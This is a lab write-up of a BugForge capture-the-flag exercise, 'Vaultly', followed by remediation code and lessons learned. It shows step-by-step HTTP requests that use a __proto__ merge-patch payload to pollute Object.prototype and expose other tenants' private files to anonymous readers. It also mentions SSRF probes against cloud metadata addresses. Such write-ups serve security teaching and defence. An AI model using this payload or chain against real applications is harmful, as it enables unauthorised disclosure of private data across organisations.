BugForge — 2026.07.04

Vaultly: Prototype Pollution to Anonymous Cross-Tenant File Disclosure

BugForge Prototype Pollution medium

Part 1: Pentest Report

Executive Summary

Vaultly is a multi-tenant “secure document vault for teams” built on Next.js (App Router), pairing a cookie-authenticated web application with a separate Bearer-token JSON API under /api/v1/. Testing found a single critical defect: the JSON API’s file-metadata update applies an unsanitized recursive merge-patch, letting an authenticated user write arbitrary keys onto the JavaScript object prototype. Because the public data rooms feature resolves each vault’s field projection through the prototype chain, one polluting request makes every private document across every tenant readable, with full content, by an unauthenticated caller.

Testing confirmed a single finding:

ID Title Severity CVSS CWE Endpoint
F1 Prototype pollution to anonymous cross-tenant file disclosure Critical 9.3 CWE-1321, CWE-285 PATCH /api/v1/files/:id

F1 matters because the impact is disproportionate to the access required. Any account obtained through open registration can plant a process-global change that turns the entire multi-tenant store into a public archive, and the disclosure read itself needs no credentials at all. An earlier candidate (an unauthenticated metadata read on /api/v1/published) was folded into F1 as its read channel after confirming that endpoint is the deliberate public data rooms feature, not an independent flaw.


Objective

Assess the BugForge “Vaultly” weekly lab (medium difficulty) and recover the flag, documenting the access-control posture of the multi-tenant vault along the way.


Scope / Initial Access

# Target Application
URL: https://lab-1782576188668-euw6fb.labs-app.bugforge.io
     (second instance used for the solve: lab-1782584339364-gcu4bc)
Platform: BugForge (weekly medium web lab)

# Auth details
Web app:  cookie session: vaultly_session=<32-char>  (open registration)
JSON API: Bearer PAT: vat_<...>, minted at POST /api/tokens
          scopes: profile / files:read / files:write
Our identity: org "biz-ness", owner role, vault id 9, folder id 12

Registration is open and self-provisioned, so the account used to plant the exploit is available to any internet caller. The web application and the /api/v1/ JSON API are separate authentication surfaces: the pages use the vaultly_session cookie, while the JSON API expects a personal access token in an Authorization: Bearer header.


Reconnaissance: Mapping a Blind, Server-Rendered Surface

The application is server-rendered: mutations are form-encoded POSTs that return 303 redirects (Post/Redirect/Get), and the JavaScript bundle contains no /api/ path strings, so automated bundle mapping returned nothing usable. The endpoint map was built instead from form actions, a manual site walk, and an OPTIONS verb sweep. The API specification (public-api.md), provided as out-of-band source material rather than served by the running application, supplied the detail that made the finding reachable.

  1. Every mutation is an x-www-form-urlencoded POST returning 303, so the surface had to be recovered from form actions rather than the bundle. This set the expectation that a second, non-form API existed behind the visible web application.
  2. The tokens page advertises the personal access tokens as Bearer credentials “against the Vaultly API,” with three scopes (profile, files:read, files:write). This pointed at a JSON API distinct from the cookie-authenticated pages and worth discovering directly.
  3. An OPTIONS sweep surfaced the /api/v1/* Bearer API and a PATCH verb on /api/v1/files/:id that no form referenced. A hidden write verb on a metadata object is a natural merge and mass-assignment target.
  4. GET /api/v1/published is reachable with no credentials and returns another organization’s published “Press Kit” room (files 26 and 27, metadata only). This is the deliberate public data rooms feature, and it established /api/v1/published/:id as an anonymous read channel.
  5. The API specification, provided out of band and not reachable in the running application before exploitation, documents the metadata update as an RFC 7386 merge-patch and describes each vault’s publicProjection allow-list, noting that “vaults without a projection are private and are never served.” That named both the pollution sink (an unsanitized recursive merge) and the exact property the vulnerable code reads (publicProjection), which black-box probing did not surface (see Failed Approaches).

Application Architecture

Component Detail
Backend Next.js (App Router, buildId QZly_7zXzPTfHDhmZ4Ym4), Node.js route handlers
Frontend Server-rendered pages with React Server Component payloads
Auth Cookie session for the web app; Bearer personal access tokens (vat_) for the /api/v1 JSON API, scoped profile / files:read / files:write
Database Not observable from the client; multi-tenant model (org, members, vaults, folders, files)

API Surface

Endpoint Method Auth Notes
/api/tokens POST Cookie session Mints a PAT. The raw API call retains files:write even when the web UI drops it
/api/files/import POST Cookie session Server-side fetch of a URL, stored as an owned file
/api/v1/files/:id PATCH Bearer (files:write) Merge-patches file metadata (RFC 7386); the pollution sink
/api/v1/published GET None Lists deliberately published rooms (metadata only)
/api/v1/published/:id GET None Reads a published file, projected to the vault’s publicProjection; the disclosure channel
/api/v1/me GET Bearer Returns the token’s granted scopes

Known Users

Username ID / Org Role
[email protected] org “biz-ness”, vault 9, folder 12 owner

Attack Chain Visualization

┌──────────────────┐     ┌──────────────────┐     ┌─────────────────────┐     ┌───────────────────────┐
│  Mint PAT        │     │  Own a file      │     │  Pollute prototype  │     │  Anonymous read       │
│  POST /api/      │ ──▶ │  POST /api/files │ ──▶ │  PATCH /api/v1/     │ ──▶ │  GET /api/v1/         │
│  tokens          │     │  /import         │     │  files/29           │     │  published/28         │
│  scopes=         │     │  → owned file    │     │  __proto__.         │     │  (no cookie, no token)│
│  files:write     │     │    id 29         │     │  publicProjection   │     │  404 → 200 + content  │
│  → vat_… token   │     │                  │     │  = id,…,content     │     │  → FLAG               │
└──────────────────┘     └──────────────────┘     └─────────────────────┘     └───────────────────────┘

Findings

F1: Prototype pollution to anonymous cross-tenant file disclosure

Severity: Critical CVSS v3.1: 9.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N) CWE: CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes), CWE-285 (Improper Authorization) Endpoint: PATCH /api/v1/files/:id (sink), GET /api/v1/published/:id (read channel) Authentication required: Yes to plant the pollution (any account); No for the disclosure read Scoring note: PR:N follows the convention of treating open self-registration as part of the exploit chain, and the disclosure read itself requires no credentials. S:C reflects the cross-tenant, process-global reach of the prototype write. Scored PR:L instead, the vector lands at 8.5 (High).

Description

Two defects compound to produce the disclosure:

  1. Unsanitized merge-patch (the sink). PATCH /api/v1/files/:id merges the request body’s metadata object into the stored metadata using a recursive RFC 7386 merge-patch. The merge walks every key, including __proto__, and assigns it onto the target. A body of {"metadata":{"__proto__":{"publicProjection":"..."}}} therefore writes publicProjection onto Object.prototype, a process-global change affecting every object in the running application.

  2. Prototype-chain fall-through on the projection lookup (the gadget). The public data rooms endpoint projects each file to its vault’s publicProjection, a comma-separated allow-list of fields; content is an available field. Per the specification, a vault with no projection is private and never served. The lookup reads the property without an own-property check, so a private vault that has no own publicProjection inherits the polluted prototype value. It is then treated as published and served, with content, to anonymous callers.

A token-scope inconsistency makes step one trivially reachable: the web UI drops files:write when minting a token, but the raw POST /api/tokens call retains it (confirmed against GET /api/v1/me), so a single API call yields a token able to write file metadata.

Impact

Cross-tenant disclosure of every private file’s content to unauthenticated callers, and a persistent flip of affected vaults to a served state without their owners’ action. The polluted state is process-global and persists until the application restarts.

Reproduction

Step 1: Mint a token that retains files:write

POST /api/tokens HTTP/1.1
Host: lab-1782584339364-gcu4bc.labs-app.bugforge.io
Cookie: vaultly_session=9L2djfmidEIfJFNIDnj64SYzmcRlLV9n
Content-Type: application/x-www-form-urlencoded

_action=create&name=t&scopes=profile&scopes=files%3Aread&scopes=files%3Awrite

Response: 303 See Other, Location: /settings/tokens?token=vat_DIw40mgr3sL5AZIwB7pw3RJizVsRBbrR. The raw call keeps files:write; a follow-up GET /api/v1/me confirms all three scopes are granted.

Step 2: Own a file to use as the pollution vehicle

POST /api/files/import HTTP/1.1
Host: lab-1782584339364-gcu4bc.labs-app.bugforge.io
Cookie: vaultly_session=9L2djfmidEIfJFNIDnj64SYzmcRlLV9n
Content-Type: application/x-www-form-urlencoded

vault_id=9&folder_id=12&url=http%3A%2F%2Fexample.com%2F

Response: 303 See Other, Location: /vaults/9?folder=12. Creates owned file id 29, the object whose metadata is patched in Step 4.

Step 3: Establish the anonymous baseline on the target file

GET /api/v1/published/28 HTTP/1.1
Host: lab-1782584339364-gcu4bc.labs-app.bugforge.io
Accept: application/json

Response: 404 Not Found, {"error":"not_found"}. File 28 lives in another organization’s private vault and is not served before the pollution.

Step 4: Plant the pollution via merge-patch on our own file

PATCH /api/v1/files/29 HTTP/1.1
Host: lab-1782584339364-gcu4bc.labs-app.bugforge.io
Authorization: Bearer vat_DIw40mgr3sL5AZIwB7pw3RJizVsRBbrR
Content-Type: application/json

{"metadata":{"__proto__":{"publicProjection":"id,name,mime,size,content"}}}

Response: 200 OK, {"file":{"id":29,"name":"imported"},"metadata":{}}. The merge-patch writes publicProjection onto Object.prototype.

Step 5: Re-read the same file anonymously

GET /api/v1/published/28 HTTP/1.1
Host: lab-1782584339364-gcu4bc.labs-app.bugforge.io
Accept: application/json

Response: 200 OK

{"file":{"id":28,"name":"break-glass.txt","mime":"text/plain","size":116,"content":"VAULTLY HQ — BREAK-GLASS RECOVERY\n\nMaster recovery key (do not distribute):\nbug{4LLaJJx6wnSElG6MtAevfIGpvth2keY4}\n"}}

The byte-identical anonymous request that returned 404 in Step 3 now returns 200 with the full content field. File 28 (break-glass.txt, another organization’s vault) has no own publicProjection, so it inherits the polluted value and is served with content. An anonymous sweep of /api/v1/published/:id returned content for 25+ private files across tenants (README and runbook files, a board report, invoices, public-api.md, break-glass.txt).

Remediation

Fix 1: Reject prototype-polluting keys in the merge-patch and operate on null-prototype objects

// BEFORE (Vulnerable): every key is walked and assigned, including __proto__
function mergePatch(target, patch) {
  for (const key of Object.keys(patch)) {
    if (patch[key] === null) {
      delete target[key];
    } else if (typeof patch[key] === 'object' && typeof target[key] === 'object') {
      mergePatch(target[key], patch[key]);
    } else {
      target[key] = patch[key];
    }
  }
  return target;
}

// AFTER (Secure): skip dangerous keys, guard recursion, use a null-prototype base
const FORBIDDEN = new Set(['__proto__', 'constructor', 'prototype']);

function mergePatch(target, patch) {
  for (const key of Object.keys(patch)) {
    if (FORBIDDEN.has(key)) continue;
    if (patch[key] === null) {
      delete target[key];
    } else if (
      patch[key] && typeof patch[key] === 'object' && !Array.isArray(patch[key]) &&
      target[key] && typeof target[key] === 'object'
    ) {
      mergePatch(target[key], patch[key]);
    } else {
      target[key] = patch[key];
    }
  }
  return target;
}

// And parse stored metadata into an object that has no prototype:
const metadata = Object.assign(Object.create(null), stored);

Fix 2: Resolve the projection as an own property so private vaults cannot inherit a polluted value

// BEFORE (Vulnerable): a value inherited from Object.prototype is truthy
const projection = vault.publicProjection;
if (!projection) return notFound();

// AFTER (Secure): only an own property counts; inherited prototype values are ignored
const projection = Object.prototype.hasOwnProperty.call(vault, 'publicProjection')
  ? vault.publicProjection
  : null;
if (!projection) return notFound();

Additional recommendations:

  • Start Node with --disable-proto=delete (or throw) to neutralize __proto__ as an assignment vector.
  • Freeze the prototype at boot with Object.freeze(Object.prototype) so late writes fail, after verifying no dependency extends Object.prototype at runtime.
  • Enforce token scopes identically on the web UI and the raw mint path. The UI dropping files:write while POST /api/tokens retains it lets an attacker obtain a broader token than the interface implies.
  • Validate the projection value server-side against an allow-list of non-sensitive fields; never permit content in a projection intended for public rooms.

OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: the pollution converts every private vault into a publicly served room, and the disclosure read requires no credentials, bypassing both tenant isolation and the boundary on private content.
  • A08:2021 Software and Data Integrity Failures: the write modifies Object.prototype, a process-global runtime structure, persistently altering access-control behavior for every tenant until the application restarts. OWASP lists prototype pollution as a worked example under this category.

Tools Used

Tool Purpose
Caido Intercepting proxy; request capture and replay of the mint, pollute, and read chain
PwnFox Container-based multi-identity session isolation for cross-tenant tests
carto Attack-surface mapping from the JS bundle (returned blind here; surface recovered from form actions instead)
curl Anonymous baseline and post-pollution reads, and the /api/v1/published/:id sweep

References

  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (‘Prototype Pollution’). https://cwe.mitre.org/data/definitions/1321.html
  • CWE-285: Improper Authorization. https://cwe.mitre.org/data/definitions/285.html
  • RFC 7386: JSON Merge Patch. https://datatracker.ietf.org/doc/html/rfc7386
  • OWASP Top 10 2021: A01 Broken Access Control, A08 Software and Data Integrity Failures
  • Node.js CLI reference --disable-proto. https://nodejs.org/api/cli.html

Part 2: Notes / Knowledge

Key Learnings

  • To prove a stateful or global exploit, capture the target response before and after the state change; the flip is the evidence. A single success response does not prove causation for a stateful bug: a 200 with the content you wanted could be a coincidence of ordering, caching, or an unrelated grant. Capture the same read immediately before and immediately after the state-changing request and save both. Here the proof was a 404 to an anonymous GET /api/v1/published/28 before the merge-patch and a 200 with full content to the byte-identical request after it; the flip isolates the pollution as the cause. It also survives teardown: the lab was destroyed and the replayed exploit responses were unrecoverable from proxy history, yet the finding stayed confirmable at high confidence purely from the two bracketing scan files. This applies to any global or persistent change (prototype pollution, feature-flag flips, cache poisoning, configuration writes).

  • Before reporting a cross-tenant or unauthenticated disclosure, confirm the resource was not deliberately made public; a publish or share feature read is intended behavior, not broken access control. Multi-tenant applications routinely ship publish, share, and public-link features whose whole purpose is to expose a resource to anonymous readers. An unauthenticated 200 that returns another tenant’s data is not automatically a finding: check whether the owner opted that specific resource public. On Vaultly, GET /api/v1/published returned another organization’s “Press Kit” with no credentials, which first read as a high-severity cross-tenant disclosure. It was the deliberate public data rooms feature reading a room its owner published on purpose (that vault carries its own projection), so it folded into the real finding as the read channel rather than standing as a separate bug. Reporting it separately would have double-counted the same impact and inflated severity; run this check even with a flag already in hand.

  • When a hint or writeup references a spec or docs that names the mechanism, treat it as source or post-exploit material that may live outside the running app. Documentation that describes a bug is frequently not web-served: it is the target’s source, a challenge artifact provided out of band, or a data object only readable after the exploit fires. Before spending hours fuzzing the application for a named doc, check whether it is reachable at all before exploitation. On Vaultly, public-api.md was hunted as an in-app file across two instances (17k raft file names, a 38k /api/v1 word list, page routes, source-exposure probes, Next.js static assets and source maps), all negative; it turned out to be file id 12 inside a private vault, readable only through the very pollution it described. That is circular: the doc that names the gadget key is gated behind the exploit that needs the gadget key. When the doc is source or post-exploit material, get the source instead of chasing a static URL.


Failed Approaches

Approach Result Why It Failed
Direct-object read on /api/files/:id/preview and /api/v1/files/:id 403 and 404 for other organizations’ ids The direct file routes enforce ownership; only files you own are returned
Share-creation with someone else’s file id (POST /api/shares) “Not allowed” Share creation checks ownership of the target file
SSRF via POST /api/files/import to internal targets localhost, 127.0.0.1, and 169.254.169.254 blocked A host denylist covers the loopback and metadata ranges; a fetch of the app’s own /api/v1 is unauthenticated (no token forwarded), so it reads nothing private
Fuzzing for public-api.md as a web-served file All paths 404 (raft file list, /api/v1 word list, page routes, source maps) The spec is not served over HTTP; it is file id 12 in a private vault, readable only after the pollution
Blind guesses at the pollution gadget key (published, public, shared, isAdmin, role, vault_id, org_id) No read flipped from private to served The real key (publicProjection) is not observable from black-box behavior; it came from the specification
Mass-assignment of own record fields via PATCH (vault_id, published, name, content) Ignored The update applies a metadata allow-list to first-class fields; the prototype fall-through, not direct field override, is the way in

Tags: #prototype-pollution #access-control #multi-tenant #nextjs #merge-patch #bugforge Document Version: 1.0 Last Updated: 2026-07-04

#prototype-pollution #access-control #multi-tenant #nextjs #merge-patch #bugforge